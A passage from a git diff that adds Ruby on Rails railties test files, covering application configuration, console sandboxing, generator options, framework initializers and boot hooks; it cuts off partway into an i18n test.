+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ RUBY
+ require "#{app_path}/config/environment"
+ assert_instance_of Pathname, Rails.root
+ end
+
+ test "Rails.public_path should be a Pathname" do
+ add_to_config <<-RUBY
+ config.paths["public"] = "somewhere"
+ RUBY
+ require "#{app_path}/config/environment"
+ assert_instance_of Pathname, Rails.public_path
+ end
+
+ test "initialize an eager loaded, cache classes app" do
+ add_to_config <<-RUBY
+ config.eager_load = true
+ config.cache_classes = true
+ RUBY
+
+ require "#{app_path}/config/application"
+ assert AppTemplate::Application.initialize!
+ end
+
+ test "application is always added to eager_load namespaces" do
+ require "#{app_path}/config/application"
+ assert AppTemplate::Application, AppTemplate::Application.config.eager_load_namespaces
+ end
+
+ test "the application can be eager loaded even when there are no frameworks" do
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ add_to_config <<-RUBY
+ config.eager_load = true
+ config.cache_classes = true
+ RUBY
+
+ use_frameworks []
+
+ assert_nothing_raised do
+ require "#{app_path}/config/application"
+ end
+ end
+
+ test "filter_parameters should be able to set via config.filter_parameters" do
+ add_to_config <<-RUBY
+ config.filter_parameters += [ :foo, 'bar', lambda { |key, value|
+ value = value.reverse if key =~ /baz/
+ }]
+ RUBY
+
+ assert_nothing_raised do
+ require "#{app_path}/config/application"
+ end
+ end
+
+ test "filter_parameters should be able to set via config.filter_parameters in an initializer" do
+ app_file 'config/initializers/filter_parameters_logging.rb', <<-RUBY
+ Rails.application.config.filter_parameters += [ :password, :foo, 'bar' ]
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal [:password, :foo, 'bar'], Rails.application.env_config['action_dispatch.parameter_filter']
+ end
+
+ test "config.to_prepare is forwarded to ActionDispatch" do
+ $prepared = false
+
+ add_to_config <<-RUBY
+ config.to_prepare do
+ $prepared = true
+ end
+ RUBY
+
+ assert !$prepared
+
+ require "#{app_path}/config/environment"
+
+ get "/"
+ assert $prepared
+ end
+
+ def assert_utf8
+ assert_equal Encoding::UTF_8, Encoding.default_external
+ assert_equal Encoding::UTF_8, Encoding.default_internal
+ end
+
+ test "skipping config.encoding still results in 'utf-8' as the default" do
+ require "#{app_path}/config/application"
+ assert_utf8
+ end
+
+ test "config.encoding sets the default encoding" do
+ add_to_config <<-RUBY
+ config.encoding = "utf-8"
+ RUBY
+
+ require "#{app_path}/config/application"
+ assert_utf8
+ end
+
+ test "config.paths.public sets Rails.public_path" do
+ add_to_config <<-RUBY
+ config.paths["public"] = "somewhere"
+ RUBY
+
+ require "#{app_path}/config/application"
+ assert_equal Pathname.new(app_path).join("somewhere"), Rails.public_path
+ end
+
+ test "Use key_generator when secret_key_base is set" do
+ make_basic_app do |app|
+ app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ class ::OmgController < ActionController::Base
+ def index
+ cookies.signed[:some_key] = "some_value"
+ render text: cookies[:some_key]
+ end
+ end
+
+ get "/"
+
+ secret = app.key_generator.generate_key('signed cookie')
+ verifier = ActiveSupport::MessageVerifier.new(secret)
+ assert_equal 'some_value', verifier.verify(last_response.body)
+ end
+
+ test "protect from forgery is the default in a new app" do
+ make_basic_app
+
+ class ::OmgController < ActionController::Base
+ def index
+ render inline: "<%= csrf_meta_tags %>"
+ end
+ end
+
+ get "/"
+ assert last_response.body =~ /csrf\-param/
+ end
+
+ test "default method for update can be changed" do
+ app_file 'app/models/post.rb', <<-RUBY
+ class Post
+ extend ActiveModel::Naming
+ def to_key; [1]; end
+ def persisted?; true; end
+ end
+ RUBY
+
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ApplicationController
+ def show
+ render inline: "<%= begin; form_for(Post.new) {}; rescue => e; e.to_s; end %>"
+ end
+
+ def update
+ render text: "update"
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ token = "cf50faa3fe97702ca1ae"
+ PostsController.any_instance.stubs(:form_authenticity_token).returns(token)
+ params = {authenticity_token: token}
+
+ get "/posts/1"
+ assert_match(/patch/, last_response.body)
+
+ patch "/posts/1", params
+ assert_match(/update/, last_response.body)
+
+ patch "/posts/1", params
+ assert_equal 200, last_response.status
+
+ put "/posts/1", params
+ assert_match(/update/, last_response.body)
+
+ put "/posts/1", params
+ assert_equal 200, last_response.status
+ end
+
+ test "request forgery token param can be changed" do
+ make_basic_app do
+ app.config.action_controller.request_forgery_protection_token = '_xsrf_token_here'
+ end
+
+ class ::OmgController < ActionController::Base
+ def index
+ render inline: "<%= csrf_meta_tags %>"
+ end
+ end
+
+ get "/"
+ assert last_response.body =~ /_xsrf_token_here/
+ end
+
+ test "sets ActionDispatch.test_app" do
+ make_basic_app
+ assert_equal Rails.application, ActionDispatch.test_app
+ end
+
+ test "sets ActionDispatch::Response.default_charset" do
+ make_basic_app do |app|
+ app.config.action_dispatch.default_charset = "utf-16"
+ end
+
+ assert_equal "utf-16", ActionDispatch::Response.default_charset
+ end
+
+ test "registers interceptors with ActionMailer" do
+ add_to_config <<-RUBY
+ config.action_mailer.interceptors = MyMailInterceptor
+ RUBY
+
+ require "#{app_path}/config/environment"
+ require "mail"
+
+ _ = ActionMailer::Base
+
+ assert_equal [::MyMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors")
+ end
+
+ test "registers multiple interceptors with ActionMailer" do
+ add_to_config <<-RUBY
+ config.action_mailer.interceptors = [MyMailInterceptor, "MyOtherMailInterceptor"]
+ RUBY
+
+ require "#{app_path}/config/environment"
+ require "mail"
+
+ _ = ActionMailer::Base
+
+ assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors")
+ end
+
+ test "registers observers with ActionMailer" do
+ add_to_config <<-RUBY
+ config.action_mailer.observers = MyMailObserver
+ RUBY
+
+ require "#{app_path}/config/environment"
+ require "mail"
+
+ _ = ActionMailer::Base
+
+ assert_equal [::MyMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers")
+ end
+
+ test "registers multiple observers with ActionMailer" do
+ add_to_config <<-RUBY
+ config.action_mailer.observers = [MyMailObserver, "MyOtherMailObserver"]
+ RUBY
+
+ require "#{app_path}/config/environment"
+ require "mail"
+
+ _ = ActionMailer::Base
+
+ assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers")
+ end
+
+ test "valid timezone is setup correctly" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.time_zone = "Wellington"
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal "Wellington", Rails.application.config.time_zone
+ end
+
+ test "raises when an invalid timezone is defined in the config" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.time_zone = "That big hill over yonder hill"
+ RUBY
+
+ assert_raise(ArgumentError) do
+ require "#{app_path}/config/environment"
+ end
+ end
+
+ test "valid beginning of week is setup correctly" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.beginning_of_week = :wednesday
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :wednesday, Rails.application.config.beginning_of_week
+ end
+
+ test "raises when an invalid beginning of week is defined in the config" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ config.beginning_of_week = :invalid
+ RUBY
+
+ assert_raise(ArgumentError) do
+ require "#{app_path}/config/environment"
+ end
+ end
+
+ test "config.action_view.cache_template_loading with cache_classes default" do
+ add_to_config "config.cache_classes = true"
+ require "#{app_path}/config/environment"
+ require 'action_view/base'
+
+ assert ActionView::Resolver.caching?
+ end
+
+ test "config.action_view.cache_template_loading without cache_classes default" do
+ add_to_config "config.cache_classes = false"
+ require "#{app_path}/config/environment"
+ require 'action_view/base'
+
+ assert !ActionView::Resolver.caching?
+ end
+
+ test "config.action_view.cache_template_loading = false" do
+ add_to_config <<-RUBY
+ config.cache_classes = true
+ config.action_view.cache_template_loading = false
+ RUBY
+ require "#{app_path}/config/environment"
+ require 'action_view/base'
+
+ assert !ActionView::Resolver.caching?
+ end
+
+ test "config.action_view.cache_template_loading = true" do
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ config.action_view.cache_template_loading = true
+ RUBY
+ require "#{app_path}/config/environment"
+ require 'action_view/base'
+
+ assert ActionView::Resolver.caching?
+ end
+
+ test "config.action_dispatch.show_exceptions is sent in env" do
+ make_basic_app do |app|
+ app.config.action_dispatch.show_exceptions = true
+ end
+
+ class ::OmgController < ActionController::Base
+ def index
+ render text: env["action_dispatch.show_exceptions"]
+ end
+ end
+
+ get "/"
+ assert_equal 'true', last_response.body
+ end
+
+ test "config.action_controller.wrap_parameters is set in ActionController::Base" do
+ app_file 'config/initializers/wrap_parameters.rb', <<-RUBY
+ ActionController::Base.wrap_parameters format: [:json]
+ RUBY
+
+ app_file 'app/models/post.rb', <<-RUBY
+ class Post
+ def self.attribute_names
+ %w(title)
+ end
+ end
+ RUBY
+
+ app_file 'app/controllers/application_controller.rb', <<-RUBY
+ class ApplicationController < ActionController::Base
+ protect_from_forgery with: :reset_session # as we are testing API here
+ end
+ RUBY
+
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ApplicationController
+ def create
+ render text: params[:post].inspect
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ post "/posts.json", '{ "title": "foo", "name": "bar" }', "CONTENT_TYPE" => "application/json"
+ assert_equal '{"title"=>"foo"}', last_response.body
+ end
+
+ test "config.action_controller.permit_all_parameters = true" do
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ActionController::Base
+ def create
+ render text: params[:post].permitted? ? "permitted" : "forbidden"
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ config.action_controller.permit_all_parameters = true
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ post "/posts", {post: {"title" =>"zomg"}}
+ assert_equal 'permitted', last_response.body
+ end
+
+ test "config.action_controller.action_on_unpermitted_parameters = :raise" do
+ app_file 'app/controllers/posts_controller.rb', <<-RUBY
+ class PostsController < ActionController::Base
+ def create
+ render text: params.require(:post).permit(:name)
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ routes.prepend do
+ resources :posts
+ end
+ config.action_controller.action_on_unpermitted_parameters = :raise
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+
+ post "/posts", {post: {"title" =>"zomg"}}
+ assert_match "We're sorry, but something went wrong", last_response.body
+ end
+
+ test "config.action_controller.action_on_unpermitted_parameters is :log by default on development" do
+ ENV["RAILS_ENV"] = "development"
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
+ end
+
+ test "config.action_controller.action_on_unpermitted_parameters is :log by default on test" do
+ ENV["RAILS_ENV"] = "test"
+
+ require "#{app_path}/config/environment"
+
+ assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
+ end
+
+ test "config.action_controller.action_on_unpermitted_parameters is false by default on production" do
+ ENV["RAILS_ENV"] = "production"
+
+ require "#{app_path}/config/environment"
+
+ assert_equal false, ActionController::Parameters.action_on_unpermitted_parameters
+ end
+
+ test "config.action_dispatch.ignore_accept_header" do
+ make_basic_app do |app|
+ app.config.action_dispatch.ignore_accept_header = true
+ end
+
+ class ::OmgController < ActionController::Base
+ def index
+ respond_to do |format|
+ format.html { render text: "HTML" }
+ format.xml { render text: "XML" }
+ end
+ end
+ end
+
+ get "/", {}, "HTTP_ACCEPT" => "application/xml"
+ assert_equal 'HTML', last_response.body
+
+ get "/", { format: :xml }, "HTTP_ACCEPT" => "application/xml"
+ assert_equal 'XML', last_response.body
+ end
+
+ test "Rails.application#env_config exists and include some existing parameters" do
+ make_basic_app
+
+ assert_respond_to app, :env_config
+ assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters
+ assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions
+ assert_equal app.env_config['action_dispatch.logger'], Rails.logger
+ assert_equal app.env_config['action_dispatch.backtrace_cleaner'], Rails.backtrace_cleaner
+ assert_equal app.env_config['action_dispatch.key_generator'], Rails.application.key_generator
+ end
+
+ test "config.colorize_logging default is true" do
+ make_basic_app
+ assert app.config.colorize_logging
+ end
+
+ test "config.session_store with :active_record_store with activerecord-session_store gem" do
+ begin
+ make_basic_app do |app|
+ ActionDispatch::Session::ActiveRecordStore = Class.new(ActionDispatch::Session::CookieStore)
+ app.config.session_store :active_record_store
+ end
+ ensure
+ ActionDispatch::Session.send :remove_const, :ActiveRecordStore
+ end
+ end
+
+ test "config.session_store with :active_record_store without activerecord-session_store gem" do
+ assert_raise RuntimeError, /activerecord-session_store/ do
+ make_basic_app do |app|
+ app.config.session_store :active_record_store
+ end
+ end
+ end
+ end
+end
diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb
new file mode 100644
index 0000000..31bc003
--- /dev/null
+++ b/railties/test/application/console_test.rb
@@ -0,0 +1,153 @@
+require 'isolation/abstract_unit'
+
+class ConsoleTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def load_environment(sandbox = false)
+ require "#{rails_root}/config/environment"
+ Rails.application.sandbox = sandbox
+ Rails.application.load_console
+ end
+
+ def irb_context
+ Object.new.extend(Rails::ConsoleMethods)
+ end
+
+ def test_app_method_should_return_integration_session
+ TestHelpers::Rack.send :remove_method, :app
+ load_environment
+ console_session = irb_context.app
+ assert_instance_of ActionDispatch::Integration::Session, console_session
+ end
+
+ def test_new_session_should_return_integration_session
+ load_environment
+ session = irb_context.new_session
+ assert_instance_of ActionDispatch::Integration::Session, session
+ end
+
+ def test_reload_should_fire_preparation_and_cleanup_callbacks
+ load_environment
+ a = b = c = nil
+
+ # TODO: These should be defined on the initializer
+ ActionDispatch::Reloader.to_cleanup { a = b = c = 1 }
+ ActionDispatch::Reloader.to_cleanup { b = c = 2 }
+ ActionDispatch::Reloader.to_prepare { c = 3 }
+
+ # Hide Reloading... output
+ silence_stream(STDOUT) { irb_context.reload! }
+
+ assert_equal 1, a
+ assert_equal 2, b
+ assert_equal 3, c
+ end
+
+ def test_reload_should_reload_constants
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ attr_accessor :name
+ end
+ MODEL
+
+ load_environment
+ assert User.new.respond_to?(:name)
+
+ app_file "app/models/user.rb", <<-MODEL
+ class User
+ attr_accessor :name, :age
+ end
+ MODEL
+
+ assert !User.new.respond_to?(:age)
+ silence_stream(STDOUT) { irb_context.reload! }
+ assert User.new.respond_to?(:age)
+ end
+
+ def test_access_to_helpers
+ load_environment
+ helper = irb_context.helper
+ assert_not_nil helper
+ assert_instance_of ActionView::Base, helper
+ assert_equal 'Once upon a time in a world...',
+ helper.truncate('Once upon a time in a world far far away')
+ end
+end
+
+begin
+ require "pty"
+rescue LoadError
+end
+
+class FullStackConsoleTest < ActiveSupport::TestCase
+ def setup
+ skip "PTY unavailable" unless defined?(PTY) && PTY.respond_to?(:open)
+
+ build_app
+ app_file 'app/models/post.rb', <<-CODE
+ class Post < ActiveRecord::Base
+ end
+ CODE
+ system "#{app_path}/bin/rails runner 'Post.connection.create_table :posts'"
+
+ @master, @slave = PTY.open
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def assert_output(expected, timeout = 1)
+ timeout = Time.now + timeout
+
+ output = ""
+ until output.include?(expected) || Time.now > timeout
+ if IO.select([@master], [], [], 0.1)
+ output << @master.read(1)
+ end
+ end
+
+ assert output.include?(expected), "#{expected.inspect} expected, but got:\n\n#{output}"
+ end
+
+ def write_prompt(command, expected_output = nil)
+ @master.puts command
+ assert_output command
+ assert_output expected_output if expected_output
+ assert_output "> "
+ end
+
+ def spawn_console
+ Process.spawn(
+ "#{app_path}/bin/rails console --sandbox",
+ in: @slave, out: @slave, err: @slave
+ )
+
+ assert_output "> ", 30
+ end
+
+ def test_sandbox
+ spawn_console
+
+ write_prompt "Post.count", "=> 0"
+ write_prompt "Post.create"
+ write_prompt "Post.count", "=> 1"
+ @master.puts "quit"
+
+ spawn_console
+
+ write_prompt "Post.count", "=> 0"
+ write_prompt "Post.transaction { Post.create; raise }"
+ write_prompt "Post.count", "=> 0"
+ @master.puts "quit"
+ end
+end
diff --git a/railties/test/application/generators_test.rb b/railties/test/application/generators_test.rb
new file mode 100644
index 0000000..78ada58
--- /dev/null
+++ b/railties/test/application/generators_test.rb
@@ -0,0 +1,129 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ class GeneratorsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app_const
+ @app_const ||= Class.new(Rails::Application)
+ end
+
+ def with_config
+ require "rails/all"
+ require "rails/generators"
+ yield app_const.config
+ end
+
+ def with_bare_config
+ require "rails"
+ require "rails/generators"
+ yield app_const.config
+ end
+
+ test "allow running plugin new generator inside Rails app directory" do
+ FileUtils.cd(rails_root){ `ruby bin/rails plugin new vendor/plugins/bukkits` }
+ assert File.exist?(File.join(rails_root, "vendor/plugins/bukkits/test/dummy/config/application.rb"))
+ end
+
+ test "generators default values" do
+ with_bare_config do |c|
+ assert_equal(true, c.generators.colorize_logging)
+ assert_equal({}, c.generators.aliases)
+ assert_equal({}, c.generators.options)
+ assert_equal({}, c.generators.fallbacks)
+ end
+ end
+
+ test "generators set rails options" do
+ with_bare_config do |c|
+ c.generators.orm = :data_mapper
+ c.generators.test_framework = :rspec
+ c.generators.helper = false
+ expected = { rails: { orm: :data_mapper, test_framework: :rspec, helper: false } }
+ assert_equal(expected, c.generators.options)
+ end
+ end
+
+ test "generators set rails aliases" do
+ with_config do |c|
+ c.generators.aliases = { rails: { test_framework: "-w" } }
+ expected = { rails: { test_framework: "-w" } }
+ assert_equal expected, c.generators.aliases
+ end
+ end
+
+ test "generators aliases, options, templates and fallbacks on initialization" do
+ add_to_config <<-RUBY
+ config.generators.rails aliases: { test_framework: "-w" }
+ config.generators.orm :data_mapper
+ config.generators.test_framework :rspec
+ config.generators.fallbacks[:shoulda] = :test_unit
+ config.generators.templates << "some/where"
+ RUBY
+
+ # Initialize the application
+ require "#{app_path}/config/environment"
+ Rails.application.load_generators
+
+ assert_equal :rspec, Rails::Generators.options[:rails][:test_framework]
+ assert_equal "-w", Rails::Generators.aliases[:rails][:test_framework]
+ assert_equal Hash[shoulda: :test_unit], Rails::Generators.fallbacks
+ assert_equal ["some/where"], Rails::Generators.templates_path
+ end
+
+ test "generators no color on initialization" do
+ add_to_config <<-RUBY
+ config.generators.colorize_logging = false
+ RUBY
+
+ # Initialize the application
+ require "#{app_path}/config/environment"
+ Rails.application.load_generators
+
+ assert_equal Thor::Base.shell, Thor::Shell::Basic
+ end
+
+ test "generators with hashes for options and aliases" do
+ with_bare_config do |c|
+ c.generators do |g|
+ g.orm :data_mapper, migration: false
+ g.plugin aliases: { generator: "-g" },
+ generator: true
+ end
+
+ expected = {
+ rails: { orm: :data_mapper },
+ plugin: { generator: true },
+ data_mapper: { migration: false }
+ }
+
+ assert_equal expected, c.generators.options
+ assert_equal({ plugin: { generator: "-g" } }, c.generators.aliases)
+ end
+ end
+
+ test "generators with string and hash for options should generate symbol keys" do
+ with_bare_config do |c|
+ c.generators do |g|
+ g.orm 'data_mapper', migration: false
+ end
+
+ expected = {
+ rails: { orm: :data_mapper },
+ data_mapper: { migration: false }
+ }
+
+ assert_equal expected, c.generators.options
+ end
+ end
+ end
+end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
new file mode 100644
index 0000000..bc794e1
--- /dev/null
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -0,0 +1,231 @@
+require "isolation/abstract_unit"
+require 'set'
+
+module ApplicationTests
+ class FrameworksTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ # AC & AM
+ test "set load paths set only if action controller or action mailer are in use" do
+ assert_nothing_raised NameError do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ RUBY
+
+ use_frameworks []
+ require "#{app_path}/config/environment"
+ end
+ end
+
+ test "sets action_controller and action_mailer load paths" do
+ add_to_config <<-RUBY
+ config.root = "#{app_path}"
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ expanded_path = File.expand_path("app/views", app_path)
+ assert_equal ActionController::Base.view_paths[0].to_s, expanded_path
+ assert_equal ActionMailer::Base.view_paths[0].to_s, expanded_path
+ end
+
+ test "allows me to configure default url options for ActionMailer" do
+ app_file "config/environments/development.rb", <<-RUBY
+ AppTemplate::Application.configure do
+ config.action_mailer.default_url_options = { :host => "test.rails" }
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal "test.rails", ActionMailer::Base.default_url_options[:host]
+ end
+
+ test "does not include url helpers as action methods" do
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get "/foo", :to => lambda { |env| [200, {}, []] }, :as => :foo
+ end
+ RUBY
+
+ app_file "app/mailers/foo.rb", <<-RUBY
+ class Foo < ActionMailer::Base
+ def notify
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert Foo.method_defined?(:foo_path)
+ assert Foo.method_defined?(:main_app)
+ assert_equal Set.new(["notify"]), Foo.action_methods
+ end
+
+ test "allows to not load all helpers for controllers" do
+ add_to_config "config.action_controller.include_all_helpers = false"
+
+ app_file "app/controllers/application_controller.rb", <<-RUBY
+ class ApplicationController < ActionController::Base
+ end
+ RUBY
+
+ app_file "app/controllers/foo_controller.rb", <<-RUBY
+ class FooController < ApplicationController
+ def included_helpers
+ render :inline => "<%= from_app_helper -%> <%= from_foo_helper %>"
+ end
+
+ def not_included_helper
+ render :inline => "<%= respond_to?(:from_bar_helper) -%>"
+ end
+ end
+ RUBY
+
+ app_file "app/helpers/application_helper.rb", <<-RUBY
+ module ApplicationHelper
+ def from_app_helper
+ "from_app_helper"
+ end
+ end
+ RUBY
+
+ app_file "app/helpers/foo_helper.rb", <<-RUBY
+ module FooHelper
+ def from_foo_helper
+ "from_foo_helper"
+ end
+ end
+ RUBY
+
+ app_file "app/helpers/bar_helper.rb", <<-RUBY
+ module BarHelper
+ def from_bar_helper
+ "from_bar_helper"
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get "/:controller(/:action)"
+ end
+ RUBY
+
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/foo/included_helpers"
+ assert_equal "from_app_helper from_foo_helper", last_response.body
+
+ get "/foo/not_included_helper"
+ assert_equal "false", last_response.body
+ end
+
+ # AD
+ test "action_dispatch extensions are applied to ActionDispatch" do
+ add_to_config "config.action_dispatch.tld_length = 2"
+ require "#{app_path}/config/environment"
+ assert_equal 2, ActionDispatch::Http::URL.tld_length
+ end
+
+ test "assignment config.encoding to default_charset" do
+ charset = 'Shift_JIS'
+ add_to_config "config.encoding = '#{charset}'"
+ require "#{app_path}/config/environment"
+ assert_equal charset, ActionDispatch::Response.default_charset
+ end
+
+ # AS
+ test "if there's no config.active_support.bare, all of ActiveSupport is required" do
+ use_frameworks []
+ require "#{app_path}/config/environment"
+ assert_nothing_raised { [1,2,3].sample }
+ end
+
+ test "config.active_support.bare does not require all of ActiveSupport" do
+ add_to_config "config.active_support.bare = true"
+
+ use_frameworks []
+
+ Dir.chdir("#{app_path}/app") do
+ require "#{app_path}/config/environment"
+ assert_raises(NoMethodError) { "hello".exclude? "lo" }
+ end
+ end
+
+ # AR
+ test "active_record extensions are applied to ActiveRecord" do
+ add_to_config "config.active_record.table_name_prefix = 'tbl_'"
+ require "#{app_path}/config/environment"
+ assert_equal 'tbl_', ActiveRecord::Base.table_name_prefix
+ end
+
+ test "database middleware doesn't initialize when activerecord is not in frameworks" do
+ use_frameworks []
+ require "#{app_path}/config/environment"
+ assert_nil defined?(ActiveRecord::Base)
+ end
+
+ test "use schema cache dump" do
+ Dir.chdir(app_path) do
+ `rails generate model post title:string;
+ bundle exec rake db:migrate db:schema:cache:dump`
+ end
+ require "#{app_path}/config/environment"
+ ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
+ assert ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ end
+
+ test "expire schema cache dump" do
+ Dir.chdir(app_path) do
+ `rails generate model post title:string;
+ bundle exec rake db:migrate db:schema:cache:dump db:rollback`
+ end
+ silence_warnings {
+ require "#{app_path}/config/environment"
+ assert !ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ }
+ end
+
+ test "active record establish_connection uses Rails.env if DATABASE_URL is not set" do
+ begin
+ require "#{app_path}/config/environment"
+ orig_database_url = ENV.delete("DATABASE_URL")
+ orig_rails_env, Rails.env = Rails.env, 'development'
+ ActiveRecord::Base.establish_connection
+ assert ActiveRecord::Base.connection
+ assert_match(/#{ActiveRecord::Base.configurations[Rails.env]['database']}/, ActiveRecord::Base.connection_config[:database])
+ ensure
+ ActiveRecord::Base.remove_connection
+ ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+ Rails.env = orig_rails_env if orig_rails_env
+ end
+ end
+
+ test "active record establish_connection uses DATABASE_URL even if Rails.env is set" do
+ begin
+ require "#{app_path}/config/environment"
+ orig_database_url = ENV.delete("DATABASE_URL")
+ orig_rails_env, Rails.env = Rails.env, 'development'
+ database_url_db_name = "db/database_url_db.sqlite3"
+ ENV["DATABASE_URL"] = "sqlite3://:@localhost/#{database_url_db_name}"
+ ActiveRecord::Base.establish_connection
+ assert ActiveRecord::Base.connection
+ assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database])
+ ensure
+ ActiveRecord::Base.remove_connection
+ ENV["DATABASE_URL"] = orig_database_url if orig_database_url
+ Rails.env = orig_rails_env if orig_rails_env
+ end
+ end
+ end
+end
diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb
new file mode 100644
index 0000000..b2cea0a
--- /dev/null
+++ b/railties/test/application/initializers/hooks_test.rb
@@ -0,0 +1,90 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ class HooksTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "load initializers" do
+ app_file "config/initializers/foo.rb", "$foo = true"
+ require "#{app_path}/config/environment"
+ assert $foo
+ end
+
+ test "hooks block works correctly without eager_load (before_eager_load is not called)" do
+ add_to_config <<-RUBY
+ $initialization_callbacks = []
+ config.root = "#{app_path}"
+ config.eager_load = false
+ config.before_configuration { $initialization_callbacks << 1 }
+ config.before_initialize { $initialization_callbacks << 2 }
+ config.before_eager_load { Boom }
+ config.after_initialize { $initialization_callbacks << 3 }
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal [1,2,3], $initialization_callbacks
+ end
+
+ test "hooks block works correctly with eager_load" do
+ add_to_config <<-RUBY
+ $initialization_callbacks = []
+ config.root = "#{app_path}"
+ config.eager_load = true
+ config.before_configuration { $initialization_callbacks << 1 }
+ config.before_initialize { $initialization_callbacks << 2 }
+ config.before_eager_load { $initialization_callbacks << 3 }
+ config.after_initialize { $initialization_callbacks << 4 }
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal [1,2,3,4], $initialization_callbacks
+ end
+
+ test "after_initialize runs after frameworks have been initialized" do
+ $activerecord_configurations = nil
+ add_to_config <<-RUBY
+ config.after_initialize { $activerecord_configurations = ActiveRecord::Base.configurations }
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert $activerecord_configurations
+ assert $activerecord_configurations['development']
+ end
+
+ test "after_initialize happens after to_prepare in development" do
+ $order = []
+ add_to_config <<-RUBY
+ config.cache_classes = false
+ config.after_initialize { $order << :after_initialize }
+ config.to_prepare { $order << :to_prepare }
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal [:to_prepare, :after_initialize], $order
+ end
+
+ test "after_initialize happens after to_prepare in production" do
+ $order = []
+ add_to_config <<-RUBY
+ config.cache_classes = true
+ config.after_initialize { $order << :after_initialize }
+ config.to_prepare { $order << :to_prepare }
+ RUBY
+
+ require "#{app_path}/config/application"
+ Rails.env.replace "production"
+ require "#{app_path}/config/environment"
+ assert_equal [:to_prepare, :after_initialize], $order
+ end
+ end
+end
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
new file mode 100644
index 0000000..17d0b10
--- /dev/null
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -0,0 +1,187 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+ class I18nTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf "#{app_path}/config/environments"
+ require "rails/all"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def load_app
+ require "#{app_path}/config/environment"
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ def assert_fallbacks(fallbacks)
+ fallbacks.each do |locale, expected|
+ actual = I18n.fallbacks[locale]
